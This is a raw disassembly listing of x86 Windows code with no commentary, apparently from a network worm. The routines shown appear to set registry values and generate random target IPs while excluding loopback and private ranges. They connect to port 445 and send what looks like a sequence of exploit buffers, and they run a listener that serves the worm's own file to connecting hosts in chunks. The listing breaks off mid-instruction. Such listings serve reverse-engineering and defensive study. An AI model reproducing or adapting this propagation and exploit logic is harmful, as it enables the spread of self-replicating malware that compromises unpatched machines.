sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_43F002: ; CODE XREF: sub_43EFE5+44j ; sub_43EFE5+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43F031 cmp esi, [esp+1Ch+arg_4] jz short loc_43F031 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43F002 call dword ptr [ebx+esi*4+8] jmp short loc_43F002 ; --------------------------------------------------------------------------- loc_43F031: ; CODE XREF: sub_43EFE5+2Aj ; sub_43EFE5+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43EFE5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F03F proc near ; CODE XREF: .data:0043F110p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_44077D pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43F03F endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] mov dword ptr ds:loc_40408A+2, eax mov dword ptr ds:loc_40408F+1, ebx test dword ptr [eax+4], 6 jnz loc_43F144 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax mov dword ptr ds:loc_40408F+1, eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43F0A2: ; CODE XREF: .data:0043F13Bj cmp esi, 0FFFFFFFFh jz loc_43F153 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43F132 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov dword ptr ds:loc_404030, eax mov edx, [ebp-14h] mov eax, [edx] mov dword ptr ds:loc_404030+4, eax mov eax, [edx+4] mov dword ptr ds:loc_404035+3, eax push esi push edi push ecx mov ecx, 14h lea edi, loc_40403A+2 mov esi, dword ptr ds:loc_404030+4 rep movsd lea edi, loc_40403A+2 mov dword ptr ds:loc_404030+4, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43F132 js short loc_43F140 mov edi, [ebx+8] push ebx call sub_43F03F add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43EFE5 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43F132: ; CODE XREF: .data:0043F0B3j ; .data:0043F108j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43F0A2 ; --------------------------------------------------------------------------- loc_43F140: ; CODE XREF: .data:0043F10Aj xor eax, eax jmp short loc_43F1B5 ; --------------------------------------------------------------------------- loc_43F144: ; CODE XREF: .data:0043F082j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43EFE5 add esp, 0Ch loc_43F153: ; CODE XREF: .data:0043F0A5j push 0 mov dword ptr ds:loc_404010, 0Bh push 0Bh call sub_440921 add esp, 8 or eax, eax jnz short loc_43F18E push 0 mov dword ptr ds:loc_404010, 8 push 8 call sub_440921 add esp, 8 or eax, eax jnz short loc_43F18E mov eax, 1 jmp short loc_43F1B5 ; --------------------------------------------------------------------------- loc_43F18E: ; CODE XREF: .data:0043F16Bj ; .data:0043F185j cmp eax, 0FFFFFFFFh jz short loc_43F1BD push eax push dword ptr ds:loc_404010 call sub_440921 add esp, 8 push dword ptr ds:loc_404010 call sub_440909 add esp, 4 mov eax, 1 loc_43F1B5: ; CODE XREF: .data:0043F142j ; .data:0043F18Cj ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_43F1BD: ; CODE XREF: .data:0043F191j cmp dword ptr ds:loc_40402C, 0 jnz short loc_43F1CD mov eax, 1 jmp short loc_43F1B5 ; --------------------------------------------------------------------------- loc_43F1CD: ; CODE XREF: .data:0043F1C4j mov eax, dword ptr ds:loc_40402C push 0Bh jmp eax ; --------------------------------------------------------------------------- dw 0B858h dd 1, 0A164D7EBh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push 40401Ch push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp-18h], esp push eax fnstcw word ptr [esp] or word ptr [esp], 300h fldcw word ptr [esp] add esp, 4 push 0 push 0 push 404028h push 404024h push 404020h call sub_4408CD push dword ptr ds:loc_404027+1 push dword ptr ds:loc_404021+3 push dword ptr ds:loc_40401B+5 mov dword ptr ds:loc_404011+3, esp call sub_440625 add esp, 18h xor ecx, ecx mov [ebp-4], ecx push eax call sub_4408E5 leave retn ; --------------------------------------------------------------------------- db 64h, 0A3h, 0 dd 0C3000000h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F261 proc near ; CODE XREF: sub_43F2FC+12p var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi mov edi, [ebp+arg_4] push 2 lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_4408C1 add esp, 0Ch lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_43F284: ; CODE XREF: sub_43F261+28j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F284 mov ebx, eax mov [ebp+var_2], bl mov [ebp+var_1], 0 jmp short loc_43F2AC ; --------------------------------------------------------------------------- loc_43F296: ; CODE XREF: sub_43F261+55j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [edi+edx], al add [ebp+var_1], 1 loc_43F2AC: ; CODE XREF: sub_43F261+33j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_43F296 movzx eax, [ebp+var_2] mov byte ptr [edi+eax], 0 mov [ebp+var_3], 0 jmp short loc_43F2D8 ; --------------------------------------------------------------------------- loc_43F2C6: ; CODE XREF: sub_43F261+88j push 404DE5h push edi call sub_440945 add esp, 8 add [ebp+var_3], 1 loc_43F2D8: ; CODE XREF: sub_43F261+63j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_43F2C6 push [ebp+arg_8] push edi call sub_440945 add esp, 8 pop edi pop esi pop ebx leave retn sub_43F261 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F2FC proc near ; CODE XREF: sub_44041D+97p var_32 = byte ptr -32h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push offset sub_404DE3 lea eax, [ebp+var_32] push eax push [ebp+arg_0] call sub_43F261 add esp, 0Ch lea eax, [ebp+var_32] push eax call sub_440735 leave retn sub_43F2FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F321 proc near ; CODE XREF: .data:004403DBp ; sub_44041D+F1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push eax push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_440885 mov edi, eax or edi, edi jz short loc_43F351 xor eax, eax jmp short loc_43F389 ; --------------------------------------------------------------------------- loc_43F351: ; CODE XREF: sub_43F321+2Aj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_4408B5 mov edi, eax push [ebp+var_4] call sub_440891 or edi, edi jz short loc_43F379 xor eax, eax jmp short loc_43F389 ; --------------------------------------------------------------------------- loc_43F379: ; CODE XREF: sub_43F321+52j cmp [ebp+var_8], 1 jnz short loc_43F386 mov eax, 2 jmp short loc_43F389 ; --------------------------------------------------------------------------- loc_43F386: ; CODE XREF: sub_43F321+5Cj xor eax, eax inc eax loc_43F389: ; CODE XREF: sub_43F321+2Ej ; sub_43F321+56j ... pop edi leave retn sub_43F321 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F38C proc near ; CODE XREF: .data:004403B4p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push edi lea eax, [ebp+var_4] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_44089D mov edi, eax or edi, edi jz short loc_43F3B1 xor eax, eax jmp short loc_43F3DC ; --------------------------------------------------------------------------- loc_43F3B1: ; CODE XREF: sub_43F38C+1Fj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_4408A9 mov edi, eax push [ebp+var_4] call sub_440891 or edi, edi jz short loc_43F3D9 xor eax, eax jmp short loc_43F3DC ; --------------------------------------------------------------------------- loc_43F3D9: ; CODE XREF: sub_43F38C+47j xor eax, eax inc eax loc_43F3DC: ; CODE XREF: sub_43F38C+23j ; sub_43F38C+4Bj pop edi leave retn sub_43F38C endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push ebx push esi push edi xor ebx, ebx push 0 push 100h lea eax, [ebp-100h] push eax push dword ptr [ebp+8] call sub_4405DD cmp eax, 0FFFFFFFFh jz loc_43F523 push 404DDFh lea eax, [ebp-100h] push eax call sub_44095D add esp, 8 or eax, eax jz loc_43F4E5 push 404DDBh lea edx, [ebp-100h] push edx call sub_44095D add esp, 8 or eax, eax jz loc_43F4E5 push 0 push 3Dh push 404D9Dh push dword ptr [ebp+8] call sub_4405E9 push dword ptr ds:loc_403003+1 push offset sub_404D86 lea eax, [ebp-200h] push eax call sub_44092D add esp, 0Ch lea ecx, [ebp-200h] or eax, 0FFFFFFFFh loc_43F478: ; CODE XREF: .data:0043F47Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F478 push 0 push eax lea edx, [ebp-200h] push edx push dword ptr [ebp+8] call sub_4405E9 loc_43F491: ; CODE XREF: .data:0043F4D7j mov eax, dword ptr ds:loc_403003+1 mov edi, eax sub edi, ebx cmp edi, 1000h jb short loc_43F4A7 mov edi, 1000h loc_43F4A7: ; CODE XREF: .data:0043F4A0j or edi, edi jz short loc_43F4D9 push 0 push edi mov eax, ebx add eax, dword ptr ds:loc_403003+5 push eax push dword ptr [ebp+8] call sub_4405E9 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_43F523 cmp esi, 1000h jb short loc_43F4D9 add ebx, esi push 64h call sub_440795 jmp short loc_43F491 ; --------------------------------------------------------------------------- loc_43F4D9: ; CODE XREF: .data:0043F4A9j ; .data:0043F4CCj push offset sub_404098 call sub_44074D jmp short loc_43F507 ; --------------------------------------------------------------------------- loc_43F4E5: ; CODE XREF: .data:0043F422j ; .data:0043F43Ej push 0 push 15h push offset sub_404D70 push dword ptr [ebp+8] call sub_4405E9 push 0 push 0Dh push 40409Ch push dword ptr [ebp+8] call sub_4405E9 loc_43F507: ; CODE XREF: .data:0043F4E3j push 7D0h call sub_440795 push 2 push dword ptr [ebp+8] call sub_4405F5 push dword ptr [ebp+8] call sub_44057D loc_43F523: ; CODE XREF: .data:0043F406j ; .data:0043F4C4j pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 0 push offset sub_404098 call sub_440741 push 0 push 80h push 3 push 0 push 1 push 80000000h push offset sub_403010 call sub_440765 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_43F569 push 1 call sub_4406D5 loc_43F569: ; CODE XREF: .data:0043F560j push 0 push ebx call sub_4406F9 mov dword ptr ds:loc_403003+1, eax push eax push 0 call sub_440759 mov dword ptr ds:loc_403003+5, eax push 0 lea eax, [ebp-30h] push eax push dword ptr ds:loc_403003+1 push dword ptr ds:loc_403003+5 push ebx call sub_440771 push ebx call sub_440711 push 0 push 1 push 2 call sub_440601 mov esi, eax push 10h lea eax, [ebp-24h] push eax call sub_440789 mov word ptr [ebp-24h], 2 and dword ptr [ebp-20h], 0 mov word ptr [ebp-26h], 0 loc_43F5C9: ; CODE XREF: .data:0043F609j movzx eax, word ptr [ebp-26h] add eax, 50h mov word ptr ds:loc_40408F+5, ax movzx eax, word ptr ds:loc_40408F+5 push eax call sub_4405AD mov edx, eax mov [ebp-22h], dx push 10h lea eax, [ebp-24h] push eax push esi call sub_440571 mov [ebp-2Ch], eax inc word ptr [ebp-26h] or eax, eax jz short loc_43F60B movzx eax, word ptr [ebp-26h] cmp eax, 0FDE8h jl short loc_43F5C9 loc_43F60B: ; CODE XREF: .data:0043F5FEj push 64h push esi call sub_4405D1 mov dword ptr [ebp-4], 10h loc_43F61A: ; CODE XREF: .data:0043F645j lea eax, [ebp-4] push eax lea eax, [ebp-14h] push eax push esi call sub_440565 mov edi, eax lea eax, [ebp-34h] push eax push 0 push edi push 40141Ah push 0 push 0 call sub_4407B9 push eax call sub_440711 jmp short loc_43F61A ; --------------------------------------------------------------------------- db 5Fh dd 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F64C proc near ; CODE XREF: .data:0043FE7Fp var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_13 = byte ptr -13h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi lea edi, [ebp+var_13] lea esi, loc_4040A6+4 mov ecx, 4 rep movsd lea edi, [ebp+var_18] lea esi, sub_4040BA mov ecx, 5 rep movsb loc_43F675: ; CODE XREF: sub_43F64C+51j ; sub_43F64C+74j call sub_440915 mov ecx, 0DDh cdq idiv ecx lea edi, [edx+3] mov ebx, edi mov [ebp+var_3], bl mov [ebp+var_2], 0 jmp short loc_43F6C6 ; --------------------------------------------------------------------------- loc_43F692: ; CODE XREF: sub_43F64C+81j mov al, [ebp+var_3] movzx edx, [ebp+var_2] cmp al, [ebp+edx+var_13] jz short loc_43F675 movzx eax, [ebp+var_2] cmp eax, 5 jnb short loc_43F6C2 movzx eax, [ebp+var_3] movzx edx, [ebp+var_2] movzx ecx, [ebp+edx+var_13] cmp eax, ecx jb short loc_43F6C2 movzx edx, [ebp+edx+var_18] cmp eax, edx jbe short loc_43F675 loc_43F6C2: ; CODE XREF: sub_43F64C+5Aj ; sub_43F64C+6Bj inc [ebp+var_2] loc_43F6C6: ; CODE XREF: sub_43F64C+44j movzx eax, [ebp+var_2] cmp eax, 10h jb short loc_43F692 loc_43F6CF: ; CODE XREF: sub_43F64C+ACj call sub_440915 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_19], bl movzx eax, [ebp+var_3] cmp eax, 0C0h jnz short loc_43F6FA movzx eax, [ebp+var_19] cmp eax, 0A8h jz short loc_43F6CF loc_43F6FA: ; CODE XREF: sub_43F64C+A1j call sub_440915 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1A], bl call sub_440915 mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1B], bl movzx eax, [ebp+var_1B] push eax movzx eax, [ebp+var_1A] push eax movzx eax, [ebp+var_19] push eax movzx eax, [ebp+var_3] push eax push 404D64h push [ebp+arg_0] call sub_44092D add esp, 18h pop edi pop esi pop ebx leave retn sub_43F64C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F74D proc near ; CODE XREF: .data:00440084p var_89F4 = dword ptr -89F4h var_89F0 = dword ptr -89F0h var_89EC = dword ptr -89ECh var_89E8 = dword ptr -89E8h var_89E3 = byte ptr -89E3h var_89E2 = word ptr -89E2h var_89E0 = byte ptr -89E0h var_89D8 = byte ptr -89D8h var_8970 = byte ptr -8970h var_6900 = byte ptr -6900h var_68E2 = byte ptr -68E2h var_6842 = byte ptr -6842h var_6136 = dword ptr -6136h var_6126 = byte ptr -6126h var_6112 = byte ptr -6112h var_60A2 = byte ptr -60A2h var_55DE = byte ptr -55DEh var_403A = byte ptr -403Ah var_4039 = byte ptr -4039h var_3FBD = byte ptr -3FBDh var_37ED = byte ptr -37EDh var_3342 = byte ptr -3342h var_3058 = dword ptr -3058h var_3054 = dword ptr -3054h var_3050 = dword ptr -3050h var_304C = word ptr -304Ch var_304A = word ptr -304Ah var_3048 = dword ptr -3048h var_303C = byte ptr -303Ch var_3039 = byte ptr -3039h var_300F = byte ptr -300Fh var_300D = byte ptr -300Dh var_300C = byte ptr -300Ch var_2FC7 = byte ptr -2FC7h var_2F83 = byte ptr -2F83h var_2987 = byte ptr -2987h var_21A3 = byte ptr -21A3h var_2193 = byte ptr -2193h var_1E6F = byte ptr -1E6Fh var_1E6B = byte ptr -1E6Bh var_1E5F = byte ptr -1E5Fh var_1BDA = byte ptr -1BDAh var_1BD9 = byte ptr -1BD9h var_B46 = byte ptr -0B46h var_82 = byte ptr -82h var_81 = byte ptr -81h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_54 = dword ptr -54h var_50 = byte ptr -50h var_4F = byte ptr -4Fh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 89F4h call sub_440689 push ebx push esi push edi mov [ebp+var_3054], 1 mov [ebp+var_89F0], 1 lea edi, [ebp+var_89E0] lea esi, loc_4049EC+4 movsd movsd and [ebp+var_89F4], 0 mov [ebp+var_89E2], 1BDh push 0 push 1 push 2 call sub_440601 mov [ebp+var_54], eax cmp eax, 0FFFFFFFFh jz loc_43FDA3 mov eax, [ebp+arg_0] mov [ebp+var_89EC], eax push eax call sub_4405C5 push 1Dh push eax lea edi, [ebp+var_6900] push edi call sub_4407A1 lea eax, [ebp+var_6900] push eax push 404D5Ah lea eax, [ebp+var_7C] push eax call sub_44092D add esp, 0Ch xor ebx, ebx loc_43F7DE: ; CODE XREF: sub_43F74D+A2j mov dl, [ebp+ebx+var_7C] mov [ebp+ebx*2+var_50], dl mov [ebp+ebx*2+var_4F], 0 inc ebx cmp ebx, 28h jl short loc_43F7DE push 60h push 404525h lea eax, [ebp+var_303C] push eax call sub_4408F1 lea eax, [ebp+var_7C] push eax call sub_4407AD mov edi, eax shl edi, 1 push edi lea edi, [ebp+var_50] push edi lea edi, [ebp+var_300C] push edi call sub_4408F1 lea eax, [ebp+var_7C] push eax call sub_4407AD push 9 push 40457Ch mov edi, eax shl edi, 1 lea edi, [ebp+edi+var_300D] push edi call sub_4408F1 lea eax, [ebp+var_7C] push eax call sub_4407AD mov edx, eax movsx edi, dl shl edi, 1 add edi, 34h mov edx, edi mov [ebp+var_403A], dl push 1 lea eax, [ebp+var_403A] push eax lea eax, [ebp+var_3039] push eax call sub_4408F1 lea eax, [ebp+var_7C] push eax call sub_4407AD mov edx, eax movsx edi, dl shl edi, 1 add edi, 9 mov edx, edi mov [ebp+var_89E3], dl push 1 lea eax, [ebp+var_89E3] push eax lea eax, [ebp+var_300F] push eax call sub_4408F1 mov eax, [ebp+arg_4] mov [ebp+var_3058], eax push 0E29h push 31h lea eax, [ebp+var_4039] push eax call sub_4408FD add esp, 48h push 10h lea eax, [ebp+var_304C] push eax call sub_440789 mov [ebp+var_304C], 2 movsx eax, [ebp+var_89E2] movzx eax, ax push eax call sub_4405AD mov edi, eax mov [ebp+var_304A], di mov eax, [ebp+arg_0] mov [ebp+var_3048], eax push 10h lea eax, [ebp+var_304C] push eax push [ebp+var_54] call sub_440589 cmp eax, 0FFFFFFFFh jnz short loc_43F920 mov [ebp+var_3054], 2 jmp loc_43FD9B ; --------------------------------------------------------------------------- loc_43F920: ; CODE XREF: sub_43F74D+1C2j push 64h call sub_440795 push 0 push 89h push offset sub_404313 push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_440795 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405DD mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD91 push 0 push 0A8h push offset sub_40439D push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_440795 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405DD mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD91 push 0 push 0DEh push 404446h push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_440795 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405DD mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD91 mov eax, [ebp+var_80] cmp eax, 0FFFFFFFFh jz short loc_43F9FA cmp eax, 46h jge short loc_43F9FF loc_43F9FA: ; CODE XREF: sub_43F74D+2A6j jmp loc_43FD91 ; --------------------------------------------------------------------------- loc_43F9FF: ; CODE XREF: sub_43F74D+2ABj lea eax, [ebp+var_2F83] mov [ebp+var_89E8], eax cmp byte ptr [eax], 31h setnz al and eax, 1 mov [ebp+var_3050], eax jz loc_43FB13 push 0DACh push 90h lea eax, [ebp+var_2987] push eax call sub_4408FD push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_21A3] push eax call sub_4408F1 push [ebp+arg_8] push [ebp+var_3058] lea eax, [ebp+var_2193] push eax call sub_4408F1 push 4 push 404D55h lea eax, [ebp+var_1E6F] push eax call sub_4408F1 push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_1E6B] push eax call sub_4408F1 push [ebp+var_3058] call sub_4407AD push eax push [ebp+var_3058] lea edi, [ebp+var_1E5F] push edi call sub_4408F1 add esp, 48h xor ebx, ebx loc_43FABB: ; CODE XREF: sub_43F74D+38Bj mov dl, [ebp+ebx+var_2987] mov [ebp+ebx*2+var_1BDA], dl mov [ebp+ebx*2+var_1BD9], 0 inc ebx cmp ebx, 0DACh jl short loc_43FABB mov [ebp+var_82], 0 mov [ebp+var_81], 0 push 1C52h push 31h lea eax, [ebp+var_89D8] push eax call sub_4408FD push 1C52h push 31h lea eax, [ebp+var_6112] push eax call sub_4408FD add esp, 18h jmp short loc_43FB75 ; --------------------------------------------------------------------------- loc_43FB13: ; CODE XREF: sub_43F74D+2CDj push 7D0h push 90h lea eax, [ebp+var_68E2] push eax call sub_4408FD push [ebp+var_3058] call sub_4407AD push eax push [ebp+var_3058] lea edi, [ebp+var_6842] push edi call sub_4408F1 lea eax, [ebp+var_89E0] push eax call sub_4407AD push eax lea edi, [ebp+var_89E0] push edi lea edi, [ebp+var_6126] push edi call sub_4408F1 add esp, 24h mov eax, dword ptr ds:loc_404936+2 mov [ebp+var_6136], eax loc_43FB75: ; CODE XREF: sub_43F74D+3C4j push 0 movsx eax, [ebp+var_403A] add eax, 4 push eax lea eax, [ebp+var_303C] push eax push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_440795 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405DD mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD91 push 0 push 68h push 404586h push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_440795 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405DD mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD91 push 0 push 0A0h push offset sub_4045EF push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_440795 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405DD mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD91 cmp [ebp+var_3050], 0 jz loc_43FD1D push 68h push 40479Eh lea eax, [ebp+var_89D8] push eax call sub_4408F1 push 1B5Ah lea eax, [ebp+var_1BDA] push eax lea eax, [ebp+var_8970] push eax call sub_4408F1 push 70h push 404807h lea eax, [ebp+var_6112] push eax call sub_4408F1 push 0A5Eh lea eax, [ebp+var_B46] push eax lea eax, [ebp+var_60A2] push eax call sub_4408F1 push 84h push 404878h lea eax, [ebp+var_55DE] push eax call sub_4408F1 add esp, 3Ch push 0 push 10FCh lea eax, [ebp+var_89D8] push eax push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_440795 push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405DD mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD91 push 0 push 0FDCh lea eax, [ebp+var_6112] push eax push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short loc_43FD83 jmp short loc_43FD83 ; --------------------------------------------------------------------------- loc_43FD1D: ; CODE XREF: sub_43F74D+4FAj push 7Ch push 404690h lea eax, [ebp+var_4039] push eax call sub_4408F1 push 7D0h lea eax, [ebp+var_68E2] push eax lea eax, [ebp+var_3FBD] push eax call sub_4408F1 push 90h push offset sub_40470D lea eax, [ebp+var_37ED] push eax call sub_4408F1 add esp, 24h mov [ebp+var_3342], 0 push 0 push 0CF8h lea eax, [ebp+var_4039] push eax push [ebp+var_54] call sub_4405E9 cmp eax, 0FFFFFFFFh jnz short $+2 loc_43FD83: ; CODE XREF: sub_43F74D+5CCj ; sub_43F74D+5CEj push 64h call sub_440795 and [ebp+var_3054], 0 loc_43FD91: ; CODE XREF: sub_43F74D+216j ; sub_43F74D+258j ... push 2 push [ebp+var_54] call sub_4405F5 loc_43FD9B: ; CODE XREF: sub_43F74D+1CEj push [ebp+var_54] call sub_44057D loc_43FDA3: ; CODE XREF: sub_43F74D+53j mov eax, [ebp+var_3054] pop edi pop esi pop ebx leave retn sub_43F74D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43FDAE proc near ; CODE XREF: .data:loc_43FE22p var_32 = byte ptr -32h push ebp mov ebp, esp sub esp, 34h push esi push edi push 31h lea eax, [ebp+var_32] push eax call sub_4405A1 cmp eax, 0FFFFFFFFh jnz short loc_43FDCA xor eax, eax jmp short loc_43FDE4 ; --------------------------------------------------------------------------- loc_43FDCA: ; CODE XREF: sub_43FDAE+16j lea eax, [ebp+var_32] push eax call sub_440595 mov edi, eax or edi, edi jnz short loc_43FDDD xor eax, eax jmp short loc_43FDE4 ; --------------------------------------------------------------------------- loc_43FDDD: ; CODE XREF: sub_43FDAE+29j mov eax, [edi+0Ch] mov esi, [eax] mov eax, [esi] loc_43FDE4: ; CODE XREF: sub_43FDAE+1Aj ; sub_43FDAE+2Dj pop edi pop esi leave retn sub_43FDAE endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 13Ch push ebx push esi push edi call sub_44071D push eax call sub_440939 mov esi, 254h mov eax, esi add eax, 0Ah push eax push 0 call sub_440759 mov ebx, eax push esi push offset sub_4040BF push ebx call sub_4408F1 add esp, 10h loc_43FE22: ; CODE XREF: .data:0043FE3Cj ; .data:0043FE76j ... call sub_43FDAE mov [ebp-10Ch], eax or eax, eax jnz short loc_43FE3E push 384h call sub_4408D9 pop ecx jmp short loc_43FE22 ; --------------------------------------------------------------------------- loc_43FE3E: ; CODE XREF: .data:0043FE2Fj mov al, [ebp-10Ch] mov [ebp-111h], al mov al, [ebp-10Bh] mov [ebp-112h], al mov al, [ebp-10Ah] mov [ebp-135h], al cmp byte ptr [ebp-111h], 7Fh jnz short loc_43FE78 push 384h call sub_4408D9 pop ecx jmp short loc_43FE22 ; --------------------------------------------------------------------------- loc_43FE78: ; CODE XREF: .data:0043FE69j lea eax, [ebp-130h] push eax call sub_43F64C push 0 call sub_4408D9 add esp, 8 call sub_440915 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-134h], dl call sub_440915 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-131h], dl call sub_440915 mov ecx, 0FDh cdq idiv ecx mov edi, edx inc edi mov edx, edi mov [ebp-132h], dl call sub_440915 mov ecx, 0Ah cdq idiv ecx mov [ebp-133h], dl mov al, [ebp-133h] cmp al, 5 jnb short loc_43FF15 mov al, [ebp-112h] mov [ebp-134h], al mov al, [ebp-133h] cmp al, 3 jnb short loc_43FF15 mov al, [ebp-135h] mov [ebp-131h], al loc_43FF15: ; CODE XREF: .data:0043FEF1j ; .data:0043FF07j cmp byte ptr [ebp-111h], 0Ah jnz short loc_43FF4A movzx eax, byte ptr [ebp-132h] push eax movzx eax, byte ptr [ebp-131h] push eax movzx eax, byte ptr [ebp-134h] push eax push 404D49h lea eax, [ebp-130h] push eax call sub_44092D add esp, 14h loc_43FF4A: ; CODE XREF: .data:0043FF1Cj movzx eax, byte ptr 